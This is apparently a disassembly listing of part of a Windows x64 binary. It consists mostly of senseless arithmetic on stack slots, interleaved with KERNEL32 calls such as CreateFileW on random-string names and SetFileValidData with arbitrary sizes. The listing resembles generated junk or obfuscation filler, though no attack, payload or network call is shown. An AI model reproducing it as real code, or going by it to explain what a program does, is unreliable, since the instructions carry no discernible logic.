mov dword [rsp + 0x8610], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov eax, dword [rsp + 0xa784]
mov dword [rsp + 0xb178], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.fq2NBGspwz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15530], rax
movzx eax, word [rsp + 0x3014]
movzx ecx, word [rsp + 0x2e30]
shl eax, cl
mov rcx, qword [rsp + 0x15288]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6fe]
movzx ecx, byte [0x140281dcf]
or eax, ecx
mov byte [0x14028eba3], al
mov rax, qword [rsp + 0x14608]
mov rcx, qword [rsp + 0x14d20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa1b4], eax
mov rax, qword [rsp + 0x14de0]
mov rcx, qword [rsp + 0x14688]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14630]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8aac]
mov dword [rsp + 0xb17c], eax
mov rax, qword [rsp + 0x15108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb104]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb020], eax
mov rax, qword [rsp + 0x14688]
mov rcx, qword [0x14028ecf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69e0], eax
movzx eax, word [rsp + 0x2e1c]
mov word [rsp + 0x30f4], ax
movsx eax, byte [rsp + 0x64e]
movsx ecx, byte [rsp + 0x69e]
add eax, ecx
mov byte [rsp + 0x66c], al
movzx eax, word [rsp + 0x2e9c]
movzx ecx, word [0x1402828c4]
add eax, ecx
mov word [rsp + 0x2238], ax
mov rax, qword [rsp + 0x154d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14868]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281eb3], al
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa744]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ad8], eax
mov eax, dword [rsp + 0xa8bc]
mov ecx, dword [rsp + 0xaf04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa524], eax
movzx eax, word [rsp + 0x2964]
mov word [rsp + 0x30f8], ax
mov rax, qword [rsp + 0x15440]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x702], al
mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov dword [rsp + 0xb180], eax
mov rax, qword [rsp + 0x14be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa34]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xad94], eax
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9260]
shl eax, cl
mov dword [rsp + 0xabb4], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa904]
sar eax, cl
mov dword [rsp + 0x7500], eax
movzx eax, byte [rsp + 0x1cb]
mov rcx, qword [rsp + 0x14dc0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14028ee18], al
mov rax, qword [0x14028eb58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c38]
and eax, ecx
mov rcx, qword [rsp + 0x14100]
mov word [rcx], ax
mov eax, dword [rsp + 0xa4b0]
mov dword [rsp + 0xb184], eax
mov eax, dword [rsp + 0xae14]
mov ecx, dword [rsp + 0xa75c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68c8], eax
mov rax, qword [rsp + 0x145f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70e]
add eax, ecx
mov byte [rsp + 0x6c7], al
movzx eax, word [rsp + 0x3004]
mov word [rsp + 0x30fc], ax
movzx eax, word [rsp + 0x3098]
mov rcx, qword [rsp + 0x152b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dac], ax
mov rax, qword [0x14028ed80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x44f], al
mov rax, qword [rsp + 0x14b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa520]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaadc]
mov dword [0x14028eb08], eax
mov eax, dword [rsp + 0xa66c]
mov dword [rsp + 0xb188], eax
mov eax, dword [rsp + 0xa634]
mov ecx, dword [rsp + 0x65cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8d8], eax
mov rax, qword [rsp + 0x15370]
mov ecx, dword [0x1402826c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x877c], eax
mov rax, qword [rsp + 0x14f58]
movzx eax, byte [rax]
mov byte [rsp + 0x782], al
movzx eax, word [rsp + 0x2e40]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x306c], ax
mov eax, dword [rsp + 0xac8c]
mov dword [rsp + 0xb18c], eax
mov eax, dword [rsp + 0xa9ec]
mov rcx, qword [rsp + 0x14228]
mov qword [rsp + 0x15538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15538]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6834], eax
mov eax, dword [rsp + 0x9700]
mov ecx, dword [rsp + 0xb144]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fc8], eax
mov rax, qword [rsp + 0x14da8]
mov ecx, dword [0x14028ec80]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140282944], eax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d4]
shl eax, cl
mov byte [rsp + 0x5ae], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x30e4], ax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad74], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.PBiIj5Wclta2hiNYAkHwXz2gq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15540], rax
movzx eax, word [rsp + 0x1aa0]
mov word [rsp + 0x3100], ax
mov dword [rsp + 0x20], 0x3be6
mov r9d, 0x278
mov r8d, 0x2329
mov edx, 0x3c0c
mov rcx, qword [rsp + 0x149b0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xaf34], eax
lea rcx, [rsp + 0x21ae0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa7cc], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x619]
and eax, ecx
mov rcx, qword [rsp + 0x15430]
mov byte [rcx], al
mov rax, qword [rsp + 0x153f8]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8a80], eax
lea rax, [rsp + 0x985c]
mov qword [rsp + 0x15548], rax
movzx eax, byte [rsp + 0x770]
movzx ecx, byte [rsp + 0x296]
add eax, ecx
mov rcx, qword [rsp + 0x15278]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x220c]
mov word [rsp + 0x3104], ax
mov rax, qword [rsp + 0x15428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14028eb38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e30]
mov ecx, dword [rsp + 0x7330]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65d8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov edx, 0x23e28f
mov rcx, qword [rsp + 0x14b88]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa748], eax
mov rax, qword [rsp + 0x15078]
mov ecx, dword [0x1402827a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa97c], eax
mov rax, qword [rsp + 0x14a40]
mov rcx, qword [rsp + 0x14bd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d14], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xb190], eax
movzx eax, word [rsp + 0x13f8]
mov rcx, qword [rsp + 0x154f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2fe4], ax
movzx eax, byte [rsp + 0x5bc]
mov byte [rsp + 0x783], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
mov eax, dword [rsp + 0xaa58]
mov ecx, dword [rsp + 0xa85c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov dword [rsp + 0xb194], eax
mov eax, dword [rsp + 0x9c64]
mov rcx, qword [rsp + 0x14f10]
mov qword [rsp + 0x15550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15550]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa490], eax
mov rax, qword [rsp + 0x152a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5f8]
or ecx, eax
mov eax, ecx
mov dword [0x1402827c0], eax
mov eax, dword [rsp + 0x7d08]
mov rcx, qword [rsp + 0x14748]
mov qword [rsp + 0x15558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15558]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa600], eax
movsx eax, word [rsp + 0x1404]
movsx ecx, word [rsp + 0x14f4]
xor eax, ecx
mov word [rsp + 0x15d8], ax
movsx eax, byte [rsp + 0x6ac]
movsx ecx, byte [rsp + 0x6d2]
sub eax, ecx
mov rcx, qword [rsp + 0x146d0]
mov byte [rcx], al
movzx eax, word [0x14028271c]
mov word [rsp + 0x3108], ax
mov rax, qword [rsp + 0x14a90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x772], al
mov rax, qword [rsp + 0x14f10]
mov ecx, dword [rsp + 0xa4c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab18], eax
mov eax, dword [rsp + 0xa98c]
mov dword [rsp + 0xb198], eax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1aa]
add eax, ecx
mov rcx, qword [rsp + 0x14b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140282948], ax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa970]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8718], eax
mov eax, dword [rsp + 0x7b1c]
mov ecx, dword [rsp + 0xa6c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ca4], eax
mov rcx, qword [rsp + 0x14d38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa3d8], eax
mov eax, dword [rsp + 0xacac]
mov ecx, dword [rsp + 0xad88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa644], eax
mov eax, dword [rsp + 0xb038]
mov dword [rsp + 0xb19c], eax
movzx eax, word [rsp + 0x1bf0]
mov rcx, qword [rsp + 0x15288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x24c8], ax
mov rax, qword [0x14028ecb0]
movzx eax, byte [rax]
mov byte [rsp + 0x784], al
mov eax, dword [rsp + 0x735c]
mov ecx, dword [rsp + 0xa660]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9438], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov dword [rsp + 0xb1a0], eax
mov rax, qword [rsp + 0x153a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14428]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140282718], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x641]
shl eax, cl
mov byte [rsp + 0x723], al
movzx eax, byte [rsp + 0x693]
mov rcx, qword [0x14028eb30]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x783], al
movzx eax, word [rsp + 0x1dac]
mov rcx, qword [rsp + 0x14758]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1f48], ax
mov eax, dword [rsp + 0xa488]
mov rcx, qword [rsp + 0x14df0]
mov qword [rsp + 0x15560], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15560]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7c28], eax
mov rax, qword [0x14028ec30]
mov eax, dword [rax]
mov dword [rsp + 0xb1a4], eax
mov rax, qword [rsp + 0x146c0]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f64], eax
mov rax, qword [rsp + 0x14cc8]
mov ecx, dword [rsp + 0x6d50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa498], eax
mov eax, dword [0x1402827c0]
mov dword [rsp + 0xb1a8], eax
movzx eax, byte [rsp + 0x224]
mov rcx, qword [rsp + 0x144d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x671], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.awBk0QAfn7b
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15568], rax
movzx eax, word [rsp + 0x1c38]
mov word [0x14028eb04], ax
mov rax, qword [rsp + 0x14ef0]
mov ecx, dword [rsp + 0xa634]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6850], eax
mov rax, qword [rsp + 0x15448]
mov ecx, dword [rsp + 0xac7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaedc], eax
mov rax, qword [rsp + 0x14fe0]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9d28], eax
lea rcx, [rsp + 0x22698]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x15168]
mov eax, dword [rax]
mov dword [rsp + 0xb1ac], eax
movzx eax, byte [rsp + 0x6e1]
movzx ecx, byte [rsp + 0x1d0]
add eax, ecx
mov byte [rsp + 0x275], al
movzx eax, word [rsp + 0x30ec]
mov word [rsp + 0x310c], ax
movsx eax, word [0x140282718]
mov rcx, qword [rsp + 0x14c60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f7c], ax
movsx eax, byte [rsp + 0x72b]
movsx ecx, byte [rsp + 0x655]
add eax, ecx
mov byte [rsp + 0x69a], al
mov eax, dword [0x14028ec0c]
mov ecx, dword [rsp + 0x9d94]
xor ecx, eax
mov eax, ecx
mov dword [0x14028294c], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14110]
mov qword [rsp + 0x15570], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15570]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9044], eax
movzx eax, word [rsp + 0x3040]
mov rcx, qword [rsp + 0x154e0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c4c], ax
movzx eax, byte [0x140281dab]
mov byte [rsp + 0x785], al
mov eax, dword [rsp + 0xa7e8]
movzx ecx, al
mov eax, dword [rsp + 0xac50]
shl eax, cl
mov rcx, qword [rsp + 0x14688]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa588]
mov dword [rsp + 0xb1b0], eax
mov rax, qword [rsp + 0x147a0]
mov rcx, qword [rsp + 0x15498]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x148e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x80fc]
mov ecx, dword [rsp + 0x9388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xacfc], eax
lea rax, [rsp + 0x676]
mov qword [rsp + 0x15578], rax
mov rax, qword [0x14028eb10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2fb8]
sub eax, ecx
mov word [0x140282860], ax
mov rax, qword [rsp + 0x154c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f90], eax
mov eax, dword [0x140282908]
mov ecx, dword [rsp + 0x935c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f04], eax
mov eax, dword [rsp + 0xacfc]
mov ecx, dword [rsp + 0xac28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a1c], eax
mov edx, 0x5be4bc
mov rcx, qword [rsp + 0x15000]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaf6c], eax
mov rax, qword [rsp + 0x152a8]
mov ecx, dword [rsp + 0xa6b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7610], eax
mov rax, qword [rsp + 0x150f8]
mov eax, dword [rax]
mov dword [rsp + 0xb1b4], eax
movsx eax, word [rsp + 0x2bb4]
movsx ecx, word [rsp + 0x2d78]
sub eax, ecx
mov word [rsp + 0x2e04], ax
mov rax, qword [rsp + 0x14bc0]
movzx eax, byte [rax]
mov byte [rsp + 0x786], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [0x140281e4e]
mov rcx, qword [rsp + 0x14a90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14e10]
mov byte [rcx], al
movzx eax, word [rsp + 0x30c4]
movzx ecx, word [rsp + 0x2b4c]
add eax, ecx
mov word [0x140282950], ax
mov rax, qword [0x14028ecc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa408]
shl eax, cl
mov dword [rsp + 0xad80], eax
mov eax, dword [rsp + 0x70f8]
mov dword [rsp + 0xb1b8], eax
movzx eax, word [rsp + 0x2154]
movzx ecx, word [rsp + 0x2d58]
sar eax, cl
mov word [rsp + 0x2c0c], ax
movzx eax, byte [rsp + 0x72e]
mov rcx, qword [rsp + 0x153a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x140], al
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa75c], eax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaab4], eax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov dword [rsp + 0xb1bc], eax
mov rax, qword [rsp + 0x14fa8]
mov ecx, dword [0x1402826e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa838], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa75c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaea4], eax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14998]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e62], al
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov word [rsp + 0x3110], ax
mov rax, qword [rsp + 0x148c0]
mov rcx, qword [rsp + 0x14730]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3c4], eax
mov rax, qword [rsp + 0x150c0]
mov rcx, qword [rsp + 0x15098]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x736c], eax
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14190]
mov word [rcx], ax
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x756]
and eax, ecx
mov byte [rsp + 0x734], al
movzx eax, byte [rsp + 0x68a]
mov byte [rsp + 0x787], al
mov r9d, 1
lea r8, [rsp + 0x13f80]
mov rdx, qword [rsp + 0x14740]
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb1c0], eax
movzx eax, word [rsp + 0x1cc0]
movzx ecx, word [rsp + 0x2d74]
sub eax, ecx
mov word [rsp + 0x1f48], ax
mov eax, dword [rsp + 0xaf98]
mov dword [rsp + 0xb1c4], eax
mov eax, dword [rsp + 0x71a4]
mov ecx, dword [rsp + 0xa4ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x144f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5a8], eax
mov eax, dword [0x14028294c]
movzx ecx, al
mov eax, dword [rsp + 0x9e40]
shl eax, cl
mov dword [rsp + 0x9b0c], eax
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7e34]
sar eax, cl
mov dword [rsp + 0x9f3c], eax
mov rax, qword [rsp + 0x14998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x207]
xor eax, ecx
mov byte [rsp + 0x546], al
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
mov word [rsp + 0x3114], ax
mov rax, qword [rsp + 0x14f70]
mov ecx, dword [rsp + 0xa9c0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8b98], eax
mov rax, qword [rsp + 0x14f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb150]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a40]
mov dword [rcx], eax
lea rax, [rsp + 0xa338]
mov qword [rsp + 0x15580], rax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad50]
sub ecx, eax
mov eax, ecx
mov dword [0x140282954], eax
mov rax, qword [rsp + 0x154f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x140], al
lea rax, [0x1402828d8]
mov qword [rsp + 0x15588], rax
movsx eax, byte [rsp + 0x731]
movsx ecx, byte [rsp + 0x553]
sub eax, ecx
mov byte [rsp + 0x72d], al
movzx eax, word [rsp + 0x30d0]
mov word [rsp + 0x3118], ax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [0x14028ecc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb07c], eax
mov rax, qword [rsp + 0x14d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5d4], eax
movzx eax, byte [rsp + 0x674]
mov rcx, qword [0x14028ed08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57d], al
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15410]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c00], ax
movzx ecx, word [rsp + 0x2ddc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e70], ax
mov rax, qword [rsp + 0x151e8]
mov eax, dword [rax]
mov dword [0x14028eb00], eax
mov eax, dword [rsp + 0xaee0]
mov dword [rsp + 0xb1c8], eax
mov eax, dword [rsp + 0xae14]
mov ecx, dword [rsp + 0xa494]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ea8], eax
mov rax, qword [rsp + 0x14880]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa67c]
shl eax, cl
mov dword [rsp + 0xac10], eax
movzx eax, word [rsp + 0x1c34]
mov word [rsp + 0x311c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
movzx eax, byte [0x14028eb40]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14470]
mov byte [rcx], al
mov rax, qword [rsp + 0x150f8]
mov ecx, dword [rsp + 0xa800]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7370], eax
mov eax, dword [0x1402827bc]
mov rcx, qword [rsp + 0x14f60]
mov qword [rsp + 0x15590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15590]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa6d8], eax
mov rax, qword [rsp + 0x14df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f0], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8eb0]
and ecx, eax
mov eax, ecx
mov dword [0x14028eb28], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov dword [rsp + 0xb1cc], eax
movsx eax, byte [rsp + 0x753]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x145f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14d00]
movzx eax, word [rax]
mov word [rsp + 0x3120], ax
movzx eax, byte [0x14028ee08]
movzx ecx, byte [rsp + 0x638]
add eax, ecx
mov rcx, qword [rsp + 0x14c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1960]
sub eax, ecx
mov word [rsp + 0x1708], ax
mov eax, dword [rsp + 0xa8f0]
mov dword [rsp + 0xb1d0], eax
mov eax, dword [rsp + 0x706c]
mov ecx, dword [rsp + 0xa7f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ae4], eax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14620]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0x152b0]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402826a0], ax
mov eax, dword [rsp + 0xa1b4]
mov ecx, dword [rsp + 0x6480]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86e0], eax
mov eax, dword [rsp + 0xa810]
mov dword [rsp + 0xb1d4], eax
mov rax, qword [rsp + 0x144e0]
mov ecx, dword [rsp + 0x9a0c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb144], eax
mov eax, dword [rsp + 0xa9d0]
movzx ecx, al
mov eax, dword [rsp + 0xb018]
shl eax, cl
mov dword [rsp + 0xab80], eax
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
mov byte [rsp + 0x788], al
movzx eax, word [0x140282788]
movzx ecx, word [rsp + 0x2e58]
xor eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ea8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8dd0], eax
lea rcx, [rsp + 0x226f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xadbc]
movzx ecx, al
mov eax, dword [rsp + 0xa820]
sar eax, cl
mov dword [rsp + 0xab6c], eax
mov rax, qword [rsp + 0x153b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140282958], ax
movsx eax, byte [rsp + 0x18f]
movsx ecx, byte [rsp + 0x696]
sub eax, ecx
mov rcx, qword [rsp + 0x150d0]
mov byte [rcx], al
lea rax, [0x14028eba3]
mov qword [rsp + 0x15598], rax
mov rax, qword [rsp + 0x153e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15280]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e20], ax
mov eax, dword [rsp + 0x74b0]
mov dword [rsp + 0xb1d8], eax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov ecx, dword [0x1402828ac]
sub ecx, eax
